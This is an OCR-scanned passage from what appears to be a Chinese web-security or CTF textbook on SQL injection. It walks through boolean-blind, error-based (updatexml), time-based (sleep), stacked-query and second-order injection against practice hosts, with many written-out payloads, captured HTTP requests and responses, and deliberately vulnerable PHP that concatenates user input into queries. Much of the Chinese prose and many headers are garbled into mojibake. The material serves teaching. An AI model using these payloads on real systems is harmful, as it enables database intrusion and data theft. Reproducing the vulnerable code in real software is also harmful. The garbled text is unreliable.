Accept-Language: zh-CN,zh;q=0.8,en-05;q=0.5,en;g= || connection: close
Accept-Encoding: gzip, deflate . Content-Type: text/html; charset=0TF-8
Connection: close |
UOpgrade-Insecure-Requests: 1 yes
E4-22 FIETEHIEERERMKE (1)
;G /bnolenn php?id=1'+and+length(database())>=3--+ BTTP/1.1 A | BTTR/1.1 200 0!(
- 01 Dec 2017 16:17:26 GHT

|Bost: www.ccetf.cn
|User-agent: Mozilla/5.0 (anin:o-h, Intel Mac 05 X 10.12; rv:53.0)
|Gecko/20100101 Firefox/53.

| X-Powered-By: PHP/5.6.30
A:capt r.axt/htm.l,appxicatxon/xhtmlfxml,applxcatian/xml;trn 9,%/*;q=0,8 | Content-Length: 3
Accepe-!.anguaga zh-~Cl,zh;g=0.8,en-086;9=0.5,en;9=0.3 | Connection: close
‘Accept Encoding: gzip, deflate | Content-Type: text/html; charset=0TF-8
|Connection: close i

\ |Opgrade-Insecure-Requests: 1

E4-23 FIEHEEEZHNKE (2)

AR R Ml P e it 2 >0 T
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BTTP/1.1 200 OK

]GET /boolean.php?id=1'+and+length(database())>=4d--+ BTTP/1.1 3

Bost: www.ccctf.cn Date: Fri, 01 Dec 2017 16:20:55 GNMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) Server: Apache

Gecko/20100101 Firefox/53.0 X-Powered-By: PHP/5.6.30

Accept: text/html,application/xhtml+xml, npplxcation/xml q=0.9,%/%;q=0.8 Content-Length: 2

Accept-Language: zh-CN,zh;q=0.8,en-05;g9=0.5,en;q=0. Connection: close

{Accept-Encoding: gzip, deflate Content-Type: text/html; charset=0TF-8

Connection: close

Upgrade-Insecure-Requests: 1 no

E4-24 FIEHIBEEZHNKE (3)

RIS AT LRI S 3R, B L Befyes: T HE oA, R4 R
no. BMEAIMER, BIEEELNKERTET, S8 hyes; KTFHT4, 4
Fno,  HTILINH HCHR BE P A% 1 K FE A3

Bt PRI AP0 7 RIS MR £ I — oz,
0021, ARLEH LSBT, KEMFHARAKNG. BFH AN ISQLIE
)%9:

' and substr(database(),1,1)="t"'--+

substr2 A =E B, HEEE# R databaseOHIME, ME—NF/HHGH, FRA
R [E] =,

substrf LR imit A X A, FEFE. limitZNOFGHEEE, miX B2 M1
YaHERF . ] DAME I Burp MBS Ih REIB R R A (E, 4258w, KILA{E 2SR,
TR Elyes, HAEIIREIno, [FHtHIBrEEEE 4 RE—A s, NE4-26F7R.

GET /boolean.php?id=1' +and+substr(database(),1,1)= §BS| ——+ BTTP/1.1

Bost: www.ccctf.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;g=0.8
Accept-~Language: zh-CN,zh;g=0.8,en-05;9=0.5,en;gq=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

E4-25 FIEsubstrfE#IEENER

ACHEAR R b i B AE e

S
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CEONOUV B WN =
o—~c<~mmsooT<W

BTTP/1.1 200 OK
Date: Fri, 0l Dec 2017 16:33:33 GMT
Server: Apache

X-Powered-By: PHP/5.6.30
Content-Length: 3

Connection: close

Content-Type: text/html; charset=0TF-8

yes

E4-26 FIABurp/RREHIEEER

FHSLIBv] LA P ASCITRS 1 P 3E 1T 298, sHIASCIIFS 115, T#EMySQLH,
ASCIE# I B A ord,  TIIZR 2R BT B9 SQLIE A) N U I R AR
' and ord(substr(database(),1,1))=115--+

SGRWNE4A-27FR, REIKZE R Ryes.

e R OO SO
GET /boolean.php?id=l1'+and+ord(substr(database(),1,1))=115--+ BTTP/1.1
Bost: www.ccctf.cn

Oser-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Accept: text/html,application/xhtmlexml,application/xml;q=0.9,%/+%;q=0.8
Accept-Language: zh-CH,zh;q=0.8,en-05;9=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Opgrade-Insecure-Requests: 1

BTTP/1.1 200 OK
Date: Fri, 0l Dec 2017 16:36:08 GMT
Server: Apache

X~Powered-By: PBP/5.6.30
Content-~Length: 3

Connection: close

(| Content~Type: text/html; charset=0TF-8

|| yes

E4-27 FPord¥BrERERER

MUnioniE N FERAIC 50, HIRESR'sql, FILHIWE - FHEELq,
ATEMEA LU A .
' and substr(database(),2,1)="q'--+

HRNE4-28F7R, REIFISE Ryes.

AP R b a2
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[GET /boolean.php?id=1 +and+substr(database(),2,1)= q -+ BTTP/1.1 2 || BTTR/1.1 200 oK k
|Bost: www.ccctf.cn . | Date: Fri, 0l Dec 2017 16:38:40 GNT

|user-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0

Server: Apache
| X-Powered-By: PHP/5.6.30

|Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 . || Content-Length: 3

|Accept-Language: zh-CN,zh;q=0.8,en-05;9=0.5,en;9=0.3 i/l Connection: close

|Accept-Encoding: gzip, deflate | Content-Type: text/html; charset=UTF-8
|Connection: close

‘upqrado-xnlocura-noquolt-x 1 yes

E4-28 FIAsubstr¥BiEERIE S

BHRSL . FBRAMEF MRS TEdatabase) AL B, MUnionE A H B4 518
AR PE 'sql 58— R A Eemails, H—NFRN e, HAWHERW TR,

'and substr((select table_name from information_schema.tables where
table_schema='sql' limit @,1),1,1)="'e'--+

4 RN EA-29FTR, RAMLRRIERN, KIHE, FEAT LIt FTA t% 4
CES TS

GET A BTTP/1.1 200 OK
/boolean.php?id=1'+and+substr((select+table_name+from+information_schena. | Date: Fri, 01 Dec 2017 16:43:18 GMT
tables+where+table_schema='sgl'+limit+0,1),1,1)="'e'-—+ BTTP/1.1 Server: Apache

Bost: www.ccctf.cn | X-Powered-By: PBP/5.6.30

Oser-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X 10.12; rv:53.0) Content-Length: 3

Gecko/20100101 Firefox/53.0 Connection: close

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 | Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,en-05;q=0.5,en;g=0.3

Accept-Encoding: gzip, deflate | yes

Connection: close
Opgrade-Insecure-Requests: 1

E4-29 FFsubstriBiEERR SR

4.1.7 Boolean I ANRIL 47

fEBooleaniE N\ T [l 2 7 Je SREXGETS HUID, it preg match | i H A 2 B 7
fEunion/sleep/benchmark % f& [ F4F . A G SHIDPFHERISQLIER], NEIEE+HE
W, WRELER, NWiRElyes, FMIREDNRo. HJv5ZREN, RIGBRELEESR
4E 1R [Blyesiino, AR [EIHE B AR, BroATiE B R & EoRyesiino, X
&40 T AR

<?php
$con=mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno())
{
echo "HEREKM: " . mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i", $id)) {
exit("no");

AP R b i 5
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}
$result = mysqli_query($con,"select * from users where “id ='".$id."'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("yes");
}else{
exit("no");
}

>

L7 iaid=1" or 1=1%230f, HHE FEAT 1915 F) Aselect * from users where 'id'=
or 1=1#, HTor 1=12/KEFZKM, AL & € 2R Elyes. 247jaid=1' and
1=2%23KF, #3E FEPhAT )75 A) Hselect * from users where ‘'id'="1' and 1=2#, HTFand
=2 AR A, BT AR DU & € 2R [Flno.

4.1.8 HESEANTE

ST N B MR bk . http://www.ccctf.cn/sql/error.php?username=1 .

B J5 7 [l http://www.ccctf.cn/sql/error.php?username=1', [F A% username){E &
I, FEHHEEFHATSQLE, £EAZ T — M5 Skes, Wt EmesRmE
4-30}5)?%0

os\' /nql/ rxcr p.p name=~1' HTTP/1.1 17§ uﬂwl 1 200 o
Pri, 22 oq 2017 04127125 GMT
ache

ullsomx osh; Intel Mac OS X 10.12; rv:53.0)
c.x/zmumux Firefox/53.
Aca
g/m: ppu ation/xhtml+xnl,applicatio: / 1qa9 “/43q=0.8

A apt - ge: ch-CN,zhjqe o €,en-05;g=0.5
Ac pzz diq gzip, deflat ntent-Type: t t/hnl charset=UTF-8
ton: keep-alive

et !onh error in your sQL yux, check the manual that
upq ade-Tnsscure- Requestss 1

pnA : TN NTSG darvar on for the right syntax to

E4-30 iFEid=1"FTENSER

B AR EISRATUEY, BEFERAHIREEMLE T U@L, Friltkat
LR AR EE N SR I S A . REVEANA S, e A B $updatexml () R
SQLIE A3k Bluser() 118, SQLIEA T iR
' and updatexml(1,concat(@x7e, (select user()),0x7e),1)--+

HA0x7e£ASCIGwtS, fEISLE R A~ WE4-31F7R.

AR R Ml P e it 2 >0 T
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[GET
1/-q1/-zro: php 1" and+upd 1(1,concat (0x7e, (select+user()),0x
7e),1)-~+ HITP/1.1

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0)
[Geckc/lﬂlﬂﬂlﬂl Firefox/53.0

Accept:

|text/html,application/xhtml+xml,application/xml;q=0.9,+/*;q=0.8

’Accopt Language: zh-CN,zh;g=0,8,en-Us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

|Cookie:

Iconnection: keep-alive

|upgrade-Insecure-Requests: 1

E4-31 FlFHupdatexmlikBluser()
RIEEER AT BIEENES, WE4-32F7R, BHWT R,

Ta || WTTP/1.1 200 OK

® || Date: Fri, 22 Dec 2017 04:28:04 GMT
Server: Apache

X-Powered-By: PHP/5.6.30
Content-Length: 38

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UrF-8

XPATH syntax error: '~root@localhost~'

' and updatexml(1,concat(©x7e, (select database()),0x7e),1)--+

GET A || HTTP/1.1 200 OK
/8ql/error.php?username=1'and+updatexml(1,concat(0x7e, (select+database() || Date: Fri, 22 Dec 2017 04:29:39 GMT
),0x7e),1)--+ HTTP/1.1 | Server: Apache

Host: www.ccctf.cn | X-Powered-By: PHP/5.6.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0) | Content-Length: 27

Gecko/20100101 Firefox/53.0 || Keep-Alive: timeout=5, max=100
Accept: || Connection: Keep-Alive

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;g=0.5,en;g=0.3
Accept-Encoding: gzip, deflate F i XPATH syntax error: '~sql-~'
Cookiet i

Connection: keep-alive |

Upgrade-Insecure-Requests: 1

|| Content-Type: text/html; charset=UTF-8

F4-32 FIHupdatexmlikEldatabase()

BT LR Fselecti B RIS SR BB EF M EL . REMFE4L, BHEFSE
UnionfEAMAE. FAREFEAREBER—FZER, LR EMHImitEq). MiEm
BRI T BTN o

and updatexml(1,concat(@x7e, (select schema_name from information_schema.schemata
limit ©,1),0x7e),1)--+

SR NE4-33F7R, AT DASREEE R (4

& || HTTP/1.1 200 OK

| Date: Fri, 22 Dec 2017 04:34:46 GMT

| Server: Apache

X-Powered-By: PHP/5.6.30
Content-Length: 42

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

GET

Isql/-rrar php?username=1'+and+updatexml(l,concat(0x7e,(select+schema_na
ion_schema. +1init+0,1),0x7%e),1)--+ HTTP/1.1

Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; xvi:53.0)

Gecko/20100101 Firefox/53.0

Accept1

text/html,application/xhtml+xml,applicetion/xml; q-O 9,%/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-Us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: id=1; PHPSESSID=elead2159a73fc4b06aa2bd8£887599;

DedeLoginTime=1513836008; DedeLoginTime__ckMd5=0cac8£b0a732533e

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

El4-33 FIRMEENRBBIEEES
WnE4-34FR, MIEERRLKIER, WFFRA, TR PEtest R 4 .

' and updatexml(1,concat(@x7e, (select table_name from information_schema.tables where
table_schema= 'test' limit ©,1),0x7e),1)--+

XPATE syntax error: '~information_schema~'

AL Rk &

&AL 2]
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GET A || HTTP/1.1 200 OK
/sql/error.php?username=1'+and+updatexml(1,concat(0x7e, (select+table_nam [p Date: Fri, 22 Dec 2017 04:36:05 GMT
et+from+information_schema.tables+where+table_schema='sql'+limit+0,1),0x7
e),1)-—+ HPTP/1.1

Server: Apache
X-Powered-By: PHP/5.6.30

Host: www.ccctf.cn | Content-Length: 30

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.12; rv:53.0) | Keep-Alive: timeout=5, max=100
Gecko/20100101 Firefox/53.0 .| Connection: Keep-Alive

Accept: || content-Type: text/html; charset=UTF-8

text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Cookie: id=1; PHPSESSID=elead215%a73fc4bB806aa2bd8£887599;
DedeLoginTime=1513836008; DedeLoginTime__ckMdS5=0cac8£b0a732533e
Connection: keep-alive

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

E4-34 FIRMEENREBBERS

419 WESEAREOHT

EREEANTEF, FBFIRNGETS Husername/5, KusernameHf #:EISQLIE )
H, REINHEEE . WRPBATHRT), Biftok; WRER, NiEidtecho
mysqli_error($con) ¥ 1R 15 EHH BT (mysqli_errorik [F]_E—/MMySQL & 5 )45
w®), BTN,

<?php
$con=mysqli_connect("localhost","root","123456", "test");
if (mysqli_connect_errno())
{

echo "EERM: " . mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from users where
“username’="".$username.""")){

echo "ok";
}else{

echo mysqli_error($con);

}

?>

| XPATH syntax error: '~emails~'

%1 A\username=1'f, SQLiE ] Aselect * from users where ‘username'='1". F4THT,
SRNZ T — NG| STHRE X FPERE S, AT LLEE floor(). updatexml()
SRR Bk AWK A A B U L.

AR R I i B
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SQL JENZRT
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A ]y N B B4k :  http:/ccctf.cn/sql/time/time.php?id=1.

i e Z ML, TUE IR Elyes, FEMUERIERERMN E—NESS, BRDE, TE
B Eno. XAEER S5BooleaniE AIEFE ML, AN B BIX A BLAT 8 573 4b—
FENT E—R A B VE. ‘B 5BooleanjE NI [FZ ATETF, B E)7ENZF Fsleep()
5 benchmark() % R £ iEMySQL I BAT B [ 28K . B [8] 5 1 £ S51F (exprl,expr2,expr3)
AR, IABAE U W exprl £TRUE, MIF()HIR EI1E Aexpr2; 7 MK [H]
BN Ayexpr3. Fir A 804 P22 P 44 K P BB A R A«

if (length(database())>1,sleep(5),1)

LEXATIEAREER, R EE R NKE KT, NIMySQLE HKIRSF,

BMEHRIL.

MBEMINER, KAREJLTZF, RYEBurp Suite  TT T ¥ MBS 8], AT LA
Wr k2 5 IEH, & RwE4-35FTR.

GET
/aql/time/time.php?id=1‘+and+if(length(database())>1,slee
p(5),1)-~+ HTTP/1.1

Host: cectf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X

10.12; xv:53.0) Gecko/20100101 Firefox/53.0

Accept:

text/html, application/xhtml+xnl,application/xal;ge0.9,¢/*
ig=0.8

Accept-Language: zh-CN,zhjq=0.8,en-US;qe=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Done

E4-35 FIFREEFTsleep()

3 | ¥TTP71.1 200 OK

® || Server: nginx/1.8.1

[ || Date: Mon, 04 Dec 2017 09:39:12 GMT

| Content-Typet text/html; charset=UTP-§
Connection: keep-alive

| Vary: Accept-Encoding

|| X-Powered-By: PHP/5.6.30

~ | Content-Length: 30

I
|| <htm><body>mo</body></html>
i:
i

i
|
A

.
v

.
v

240 bytes | 5,267 millis,

ACAEAE e FH i g it 25 2T )
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ATLAE H, DU A SR R 2 5267, At RS.2678, FHATIE RIHIAT T
sleep(5), AT LA BE 2 KT 1H9, Bl 122350k 2 W 3098 e FE 2 K R 1B A R I K O 10,
2 R E4-36 7N .

GET & || ®TTP/1.1 200 OK 3
/sql/time/time.php?id=1‘+and+if{length(database())>10,sle P | Server: nginx/1.8.1

ep(5),1)--+ HTTR/1.1 | Date: Mon, 04 Dec 2017 09:40:57 GMT i
Host: ccctf.cn || Content-Type: text/html; charset=UTP-8

User-Agent: Mozilla/5,0 (Macintosh; Intel Mac 0S X || connection: keep-alive

10.12; rv:53.0) Gecko/20100101 Firefox/53.0 || vary: Accept-Encoding i
Accepts . || x-Powered-By: PHP/5.6.30 i
text/html,application/xhtml+xml,application/xml;g=0.9,*/* . | Content-Length: 31

1q=0.8 i

Rccept-Language: zh-CN,zh;g=0.8,en-US;q=0.5,en;g=0.3 || <htm><body>yes</body></html>
Accept-Encoding: gzip, deflate i
Connection: keep-alive i
Upgrade-Insecure-Requests: 1 B

-
2 |

5
5 ¢ 4
T @ [Tvpeasearchrerm | Omatches

(23 (3 &0 B3 [peasearchierm (_"’""‘“'L
E4-36 FIAEEIHITselect 1
ATLAE H, PATHIRE]20.404F0, REATUH A P ATsleep(5), MREAT T select
1, FrUEERERESKEXTI0R58 R B2 KR, #aT LIS 2 $0E & E 4
MKE. SEBEEEAKER, RINMFEEAREEELZNE L7, BEE
] R Boolean i HIRMLL, {3 Fsubstrifi#l, XA HIEE RAEHA:
if(substr(database(),1,1)="s"',sleep(5),1)

ZE B InE4-37F R




%4% WebZ4a RE2H « 109

HTTP/1.1 200 OK

GET A -
!/sql/time/time.php?id=1'+and+if (substr(database(),1,1)='s P | Server: nginx/1.8.1 P
‘,sleep(5),1)--+ BTTR/1.1 Date: Mon, 04 Dec 2017 09:50:33 GHT

/Host: ccctf.cn Content-Type: text/html; charset=UTF-8

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X | Connection: keep-alive

110.12; rv:53.0) Gocko/20100101 Firefox/53.0 || vary: Accept-Encoding

|Accept: .| X-Powered-By: PHP/5.6.30
text/html,application/xhtml+xml,application/xml;q=0.9,+/* Content-Length: 30

3q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-Us;g=0.5,en;q=0.3 1 <htm><body>no</body></htal>
Accept-Encoding: gzip, deflate
\Connectiont keep-alive
|upgrade-Insecure-Requests: 1

|

- “
v v

(= [ fee Lo R gy ] omues | () (50 @3 B [omerrewehiom asches
Done 40 bytes | 5.176%
El4-37 FIRRIEIEERIER

WLEH, BRFFIER T SHARE], BSR4 5 — L B s, KL
BIF 15 e B BRI 4 . R4 FERAMBBHEE.

4.2.2 BFEPEARE ST

FERT [EVEBEANTE F, FFRNGETSHID, #idpreg match Wi SIDH 2
BAFFEUnionfE K 777, AR5 S HIDHHEEFISQLIE At . WEHE B & HSQLiIEH],
MRELER, WiREyes, BNIR[ENno. 24v5 AZ I, ISR IESIEEE SR
R [ElyesBino, 1M AR B 5048 2 R £HE, A L R4 BRyesgino,
BooleaniE AARFI)Z, MAEHE It iEsleepBEFRF, RIBWTFAIR.

<?php
$con=mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno())
{
echo "HEERM: " . mysqli_connect_error();
}
$id = $_GET['id'];
if (preg_match("/union/i", $id)) {
exit("<htm><body>no</body></html>");
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}

$result = mysqli_query($con,"select * from users where “id ="".$id."'");
$row = mysqli_fetch_array($result);
if ($row) {
exit("<htm><body>yes</body></html>");
}else{
exit("<htm><body>no</body></html>");
}

?>

I AR TI9A AT LA R Boolean & ¥ B AME N J7 ¥, T TH A B [BVE AR « 2497 [alid=1"
and if(ord(substring(user(),1,1))=114,sleep(3),1)%230F, HATHISQLIEA] A :

select * from users where “id ='1"' and if(ord(substring(user(),1,1))=114,sleep
(3),1)%23

i Fuser()Aroot, root 5 — AN F ' FIASCIME /& 114, ft ASQLIEA] Hif 4t L,
W ATsleep(3), WML IER3s, HITIXFIER B AT AW SQLIE A MIPATEE R -

423 HEEBBWFIALE

W BB WENBEH L http://www.ccctf.cn/dd.php?id=1.

HEBEWMA LT HKER], ZEAZAUSSHET. ES3ERHEAREN A
XAMER, EE ZASQLIBEA MG H CEHATHIES]. BhVIAid=1', THERE
MySQL&E iR, FifAlid=1'%23, THEIREIIEFESR. X EA] LE FHBooleani: N\
EVEN, WA LAMER A —FEAT R—HEBEN

HWBFENBIER]AN:

‘;select if(substr(user(),1,1)="'r',sleep(3),1)%23

MHEBFENIEAF A LLE T, 5 —4SQLiEH) (select if(substr(user(),1,1)
="' sleep(3),1)%23) BLEN M EEMNIER), PATERWE4-38F7R.



GET /8q1/dd.phpridel’jselect+if (substr(user(),1,1)="r", sleep(3),1)823
EPRR/1.1
Hostt www.ccotf.cn
gent1 Mozilla/s.0 Intel Mac 05 X 10.12; rvis3.0)
Gecko/20100101 Firefox/53.0
Accepti
toxt/htal, .ppuc-uon/xnulom applioation/suligud.9; /rig=0,8
Accept-Language: zh-CN,zhjqe0.8,en-US;qe0.5,en;q=0
Accept-Eacoding: gzip, Botace
cookier
Connection: keep-alive
Upgrade-Insecure-Requests: 1

) <) (55 B3 [easewcnverm omatches i
Done

F4F WebZ4REIHN < 11

& § wrre/1.1 200 ok
| Date: Fri, 22 Dec 2017 04139:09 GMT
| Server: A
| X-Powered-By: ¥NP/5.6.30
i E‘} Content-Lengtht 9
| || Keep-alive: timeout=s, max=100
" | Connection: Keap-Alive

text/heml;
| 1DumbDumb

|

i i

A

-
v

GL.]UL_J Tvpe 2 search term

m-\
222 bytes 14,011 millis/

El4-38 FRHERENREHIRE

J& TSR ERHE 3R AF S EE N B — 4, B MEA R R REAER), "L

BRI TBOBEENES . RE. TREMAEESE. T

BAEERIRA

LARiEA], mi AT BAZRER

';select if(substr((select table_name from information_schema.tables where

table_schema=database() limit ©,1),1,1)="e',sleep(3),1)%23

2= BN E4-39F7 7R o

GET
/sq1/dd. php2id=11";seloct+Le (substr((

:
schama. )+14mit¥0,1),1,1)="'0" ,ale0p(3)

+1)%23 HTTR/1.1 N
Host: wyww.cootf.on

zilla/s. Intel Mac 08 X 10.12; rv:53.0)
Gecko/20100101 Pirefox/53.0
Accept:
text/htal, 1 q0.9,4/%;q=0.8
Mcoepe-Lanuager shecl,shiqe0.8, -n-vsxq-ﬂ s, n,q-u 3

Accept-Encoding: gzip, deflat
Cookiar Ldeft THPBESSIDwsload2159073£04b306aa2b40E8875991

¢ 7325330

Connection: keep-alive
qurm-—xnlwur--l\lq'lu-tu 3

o e k] e gl |
20 B (5 53 [rweasorrcherm Omatches |
Done

T || TF/1.1 200 O

p || Date: Foi, 22 Dec 2017 04141416 vt
| Berver: Apacl

sl Bp/5.6.30

ontent-Lengtht

| Kesp-Alive: \imsout=s, mex=100

! connection: Keep-Rlive

par text/htsl;

.

213 bytes | 4,034 mills

E4-39 FIRBERIENRERS
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424 EEEWFARBEBOH

FEHEBIEATH S, BFIRMGETSZHID, {fHPDOK T HdE&#, (H
TR SHIDBHE BB MBS, FHPDORER M IFMAER, BFIMREESQL
NI, AR T Brs .

<?php
try {
$conn = new PDO("mysql:host=localhost;dbname=test", "root", "123456");
$conn->setAttribute(PDO: :ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$stmt = $conn->query("SELECT * FROM users where “id” = '" . $_GET['id'] . "'");
$result = $stmt->setFetchMode(PDO: : FETCH_ASSOC);
foreach($stmt->fetchAll() as $k=>%v) {
foreach ($v as $key => $value) {
echo $value;

i

}

$dsn = null;
}
catch(PDOException $e)
{

echo "error";
}
$conn = null;
?>

F FHPDOFMAT SQLIB A I, A LAFAT Z1E4], AL XA E AR EEBRENG
R, B APDOR =ik [E 5 — % SQLIER) AT G R, FrUESE & F A LA
update 5 HT £ 48 B3 {5 FH IS (8] B VESR UG . 17 17]dd.php?id=1";select if(ord(substring
(user(),1,1))=114sleep(3),1); %230, FATHISQLIEA)A:
SELECT * FROM users where “id" = '1';select if(ord(substring(user(),1,1))=114,sleep
(3),1);#

A SQLIEA) 48 T #i%k, 55 —45SELECT * FROM users where ‘id" = '1'/2/0i5
H S select#rif], TMiselect if(ord(substring(user(),1,1))=114,sleep(3),1);# M| & A TH &
(YR 18] & ¥ A
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TORE N B @R k.

http://www.ccctf.cn/er/ 2.php?id=10. HHH,

SQLiEA) K77 2.php BT I I T g = i
TP,

17 18] 1.php?username=test',

A

F4F WebisbREHN 4 113

http://www.ccctf.cn/er/1.php?username=test FMl
Lphp TIE K ThEERIEM 4, HAEREA
T%&ID%EXH%F g %D}Eﬁ F {EI i o

1 E4-40 77

GET /er/l.php?username=test’ HTTP/1.1
Host: www.ccctf.cn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X

i ', HTTP/1.1 200 OK
" || Date: Wed, 06 Dec 2017 09:10:22 GMT
|| server: Apache

10.12; rv:53.0) Gecko/20100101 Firefox/53.0 | X-Powered-By: PHP/5.6.30

Accept: | Content-Length: 14
text/html, application/xhtml+xml,application/xml;q=0.9,%/* | Keep-Alive: timeout=5, max=100
;q=0.8 |/ Connection: Keep-Alive

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;qg=0.3
Accept-Encoding: gzip, deflate

Referer: http://www.ccctf.cn/er/

Connection: keep-alive

Upgrade-Insecure-Requests: 1

|| Content-Type: text/html; charset=UTF-8

| Fia B 21

E4-40 EMAFAtest’

TR TH R [F] 45 SR 0] LLE B R P & test' S R IIDA21,
4-41Ff7R o

GET /er/2.php?id=21 HTTP/1.1 N
Host: www.ccctf.cn

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X

10.12; rv:53.0) Gecko/20100101 Firefox/53.0

Sy

V5 iE)2.php?id=21, %584nE

HTTP/1.1 200 OK
Date: Wed, 06 Dec 2017 09:12:11 GMT
Server: Apache

{| X-Powered-By: PHP/5.6.30

Accept: Content-Length: 153

text/html application/xhtml+xml,application/xml;q=0.9,*/* /! Keep-Alive: timeout=5, max=100

1q=0 || Connection: Keep-Alive
Accept—-l.ung\lage zh~CN, zh;g=0.8,en-U5;q=0.5,en;q=0.3 Content-Type: text/html; charset=UTF-8

Accept-Encoding: gzip, deflate
Referer: http://www.ccctf.cn/er/
Connection: keep-alive
Upgrade-Insecure-Requests: 1

You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near ''test''' at line 1

E4-41 ifEltest' IER

MR [E1 45 SR AT DL B AR 45 4R [B] T MySQLIEE = (£ T — AN 5| 55| B HE

R, X EIEIZE—H, 41 iA 1.php?username=test' order by 1%23, Z'JEEX—/I\%EE"J
1d=32, MRV [A12.php?id=32F, TR EIZ A ; FRER, A1 php"username=test'
order by 10%23, 3KREX—/#riNid=33, X4FVjR2.php?id=336T, TR EI4HIRE S
(Unknown column '10' in 'order clause'), U1E4-420778. 1X ¥t 8H 2 JUH 2 B IR
[, @AW, 3 HI R ER P —IH 3N F B . Ui A 1.php?username
=test' union select 1,2,3%23, IKEL—N#7id=39, FHj2.php?id=39, KM TAHEIRE T
union select? FI2F3F B, 45 R nE4-43F17R
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. o
GET /er/2.php?id=33 HTTP/1.1 /& HTTP/1.1 200 OK

Host: www.ccctf.cn Date: Wed, 06 Dec 2017 09:23:56 GMT
User—-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X | Server: Apache

10.12; rv:i53.0) Gecko/20100101 Firefox/53.0 X-Powered-By: PHP/5.6.30

Accept: i Content-Length: 37
text/html,application/xhtml+xml,application/xml;q=0.9,*/* || Keep-Alive: timeout=5, max=100
7q=0.8 || Connection: Keep-Alive

Accept-Language: zh-CN,zh;q=0.8,en-UsS;q=0.5,en;g=0.3 | Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate
Referer: http://www.ccctf.cn/er/
Connection: keep-alive
Upgrade-Insecure-Requests: 1

Unknown column '10' in 'order clause'

El4-42 ifjislorder by 10H9458R

GET /er/2.php?id=39 HTTP/1.1 A | HTTP/1.1 200 OK

Host: www.ccctf.cn | Date: Wed, 06 Dec 2017 09:30:43 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X || Server: Apache

10.12; rv:53.0) Gecko/20100101 Firefox/53.0 || X-Powered-By: PHP/5.6.30

Rccept: |\ Content-Length: 5
text/html,application/xhtml+xml,application/xml;qg=0.9,*/* | Keep-Alive: timeout=5, max=100

;19=0.8 ! Connection: Keep-Alive
Accept-Language: zh-CN,zh;g=0.8,en-US;q=0.5,en;gq=0.3 Content-Type: text/html; charset=UTF-8
Accept-Encoding: gzip, deflate

Referer: http://www.ccctf.cn/er/ 23

Connecticn: keep-alive
Upgrade-Insecure-Requests: 1

E4-43 {FRHUnioniEaihsss

E2EBHIALE, FEARANTAIES], HLinija1.php?id=test' union select 1,user(), 3%23,
RGHTHd=40, F5H2.php?id=40, 18 F|user()IEER, NE4-44FT7R, {EHTE
i AT CASREE R P A A 2504

{GET /er/2,php?id=40 HTTP/1.1

{Host: www.ccctf.cn

?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X
10.12; rv:53.0) Gecko/20100101 Firefox/53.0

Ta || HTTP/1.1 200 OK

!l Date: Wed, 06 Dec 2017 09:33:27 GMT
| Server: Apache

| X-Powered-By: PHP/5.6.30

Accept: Content-Length: 18
|text/html, application/xhtml+xml,application/xml;g=0.9,*/* Keep-Alive: timeout=5, max=100
;g=0.8 | Connection: Keep-Alive

Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Referer: http://www.ccctf.cn/er/

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Type: text/html; charset=UTF-8

. root@localhost : 3

E4-44 FIRZGENREUEIE

